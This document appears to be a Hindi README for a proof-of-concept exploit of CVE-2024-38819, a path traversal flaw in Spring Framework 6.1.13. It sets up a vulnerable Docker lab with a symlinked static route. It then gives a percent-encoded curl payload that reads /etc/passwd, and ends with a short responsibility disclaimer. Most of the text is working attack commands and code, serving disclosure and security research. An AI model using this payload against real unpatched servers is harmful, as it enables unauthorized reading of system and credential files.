
यह CVE-2024-38819 भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट है, जिसे मैंने रिपोर्ट किया था, जो पाथ ट्रैवर्सल एक्सप्लॉइट को प्रदर्शित करता है।
Docker इमेज बनाएँ (Spring Boot 3.3.4, जो Spring Framework 6.1.13 पर आधारित है)
cd vuln
docker build -t cve-2024-38819-poc .
कंटेनर चलाएँ और पोर्ट 8080 को होस्ट मशीन पर एक्सपोज़ करें
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
PoC को निष्पादित करने और भेद्यता की पुष्टि करने के लिए निम्न कमांड चलाएँ
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
यदि हमला सफल होता है, तो /etc/passwd फ़ाइल की सामग्री प्रदर्शित होगी।
स्टैटिक फ़ाइल रूटिंग सेट करने के लिए RouterFunction और FileSystemResource का उपयोग करते हुए निम्न कोड के साथ PathTraversalDemoApplication.java बनाएँ:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
सिंबलिक लिंक बनाने के लिए Dockerfile में निम्न कमांड जोड़ें:
RUN ln -s /static /app/static/link
एक पेलोड बनाएँ जो सिंबलिक लिंक के माध्यम से निर्देशिकाओं को ट्रैवर्स करने के लिए प्रतिशत-एन्कोडिंग का उपयोग करता है।
/static/link/%2e%2e/etc/passwdPoC को निष्पादित करने और जाँचने के लिए कि हमला सफल है या नहीं, निम्न curl कमांड का उपयोग करें:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
यदि हमला सफल होता है, तो /etc/passwd फ़ाइल की सामग्री प्रदर्शित होगी।
यह PoC शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। इसे किसी वास्तविक सिस्टम पर उपयोग करने से पहले, सुनिश्चित करें कि भेद्यता ठीक कर दी गई है और आपके पास उचित अधिकार है। लेखक इस कोड के किसी भी दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है।